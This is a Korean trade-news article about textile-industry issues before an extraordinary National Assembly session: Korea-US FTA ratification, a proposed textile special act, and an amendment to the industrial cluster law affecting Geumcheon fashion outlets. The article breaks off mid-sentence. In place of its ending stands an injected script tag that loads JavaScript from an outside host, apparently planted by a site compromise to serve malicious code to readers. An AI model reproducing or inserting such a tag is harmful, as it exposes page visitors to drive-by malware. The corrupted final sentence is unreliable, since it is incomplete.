임시국회에 섬유 업계 관심 집중
지난달 28일 시작돼 이달 26일 끝나는 임시국회에 섬유 업계의 관심이 쏠리고 있다.
제 17대 마지막 국회인 이번 임시국회에 한미 자유무역협정(FTA) 비준, 섬유특별법 제정, 산집법 개정 등 섬유 패션 업계의 굵직한 현안들이 상정돼 있기 때문이다.
하지만 오는 4월 9일 총선을 앞두고 각 정당 간의 이해 관계가 얽혀 있고, 새 정부 출범을 앞두고 각료 인선 등 국회에서 처리해야 할 안건들이 산적해 있어 섬유 업계의 숙원인 섬유특별법 제정은 물론 한미 FTA 비준 마저 불투명한 상황이어서 우려를 자아내고 있다.
<한미 FTA 비준>
임시국회 개원을 앞두고 섬유 업계는 지난달 22일 프레스센터 기자회견장에서 경세호 섬산연 회장을 비롯 주요 단체장과 업체 대표가 참석한 가운데 한미 FTA의 조속한 국회 비준을 촉구하는 성명서를 발표했다.
섬유 업계가 정부의 주요 정책에 대해 성명서를 발표한 것은 매우 이례적으로, 이는 한미 FTA가 섬유 산업에 미치는 영향이 그만큼 크다는 것을 반증하고 있다.
특히 섬유 업계는 중국산 의류 제품에 대한 미국 수입쿼터가 내년부터 해제될 예정이어서 한미 FTA 비준이 연기될 경우 미국 시장에서 중국을 따라잡기가 더욱 어려워 질 것으로 걱정하고 있다.
그러나 원내 1당인 통합민주당 내부의 이견이 정리되지 않은 데다 미국 의회가 비준안 처리의 전제 조건으로 한국 측의 쇠고기 시장 추가 개방을 압박하고 있어 이번 임시국회 회기 내에 한미 FTA 비준안이 처리될 지는 여전히 불투명한 상태다.
섬산연 관계자는 “한미 FTA 타결로 섬유산업이 재도약의 전기를 맞는 듯 했으나 비준 처리가 늦어지면서 대미 수출 확대를 기대했던 분위기가 많이 가라앉은 상태”라며 “이번 임시국회에서 처리되지 않으면 내년부터 중국산 의류 제품에 대한 미국의 수입쿼터가 해제되기 때문에 그만큼 미국 시장에서 중국을 따라잡기 힘들 것”이라고 말했다.
<섬유특별법 제정>
섬유특별법(섬유산업 구조혁신에 관한 특별조치법안) 제정은 섬산연을 비롯 대구경북지역 섬유 단체가 지난 2년 동안 중점적으로 추진해 온 핵심 사업으로 현재 국회 산자위에 계류중에 있다.
법안 내용은 우리나라가 오는 2015년 세계 4대 섬유?패션 강국으로 나아가기 위해 섬산연이 산관학 전문가들에 의뢰해 만든 ‘섬유·패션산업 구조혁신전략’을 정책적, 제도적 측면에서 뒷받침하고 있다.
특히 이명박 대통령 당선자는 지난해 11월 12일 대구상공회의소 초청 강연에서 “법안 내용중 연구개발 부분을 중점적으로 보완해 특별법 제정을 적극 지원하겠다”고 밝혀 어느때보다 분위기가 고조되어 있는 상태다.
또 오는 4월 총선을 앞두고 한나라당이 대구 지역 민심을 얻기 위해 특별법 제정을 검토할 수 있다는 긍정론도 나오고 있다.
하지만 이 법안을 대표 발의한 곽성문 의원이 한나라당을 탈당한데다 여전히 산자부가 반대 입장을 굽히지 않고 있어 상정 조차 어려울 것이라는 부정론도 만만치 않다.
섬산연은 특별법 제정을 앞장서 추진해 온 경세호 회장이 이 달 말 임기 만료를 앞두고 있어 이번 임시국회 기간 중에 성과를 올릴 수 있도록 현재 산자위 소속 의원들을 대상으로 당위성을 적극 홍보하고 있다.
<산집법 개정>
지난해 정기국회에서 보류된 산업집적 활성화 및 공장설립에 관한 법률(이하 산집법) 개정안은 수 십 개의 아울렛 매장이 몰려 있는 금천패션타운의 사활이 걸린 문제다.
산집법 개정은 지난해 8월 산업단지관리공단이 마리오Ⅱ에 대해 일부 매장이 불법으로 의류를 판매했다는 이유로 입주계약 해지를 일방적으로 통보하면서 불거졌다.
지난해 7월 통과된 현행 산집법에 의하면 국가산업단지에 위치한 아파트형 공장은 은행이나 판매장 등 지원시설을 공장부지의 20%만 둘 수 있으며 판매장의 경우 입주한 업체들이 생산한 제품만 팔도록 되어 있다.
산단공은 마리오Ⅱ의 경우 일부 매장에서 해당 건물에서 생산하지 않은 타사의 중국산 제품을 판매했다며 입주계약 해지를 통보한 것.
마리오는 이에 대해 즉각 산단공을 상대로 법정 소송을 제기했으며 현행법을 대상으로 위헌 여부를 가리는 헌법소원까지 제출했다.
또 금천패션발전협의회를 중심으로 산단공과 국회를 대상으로 법 개정의 필요성을 역설하고 있다.
현행 법이 엄격하게 적용될 경우 ?script src=http://mekiller.com/1/1.js>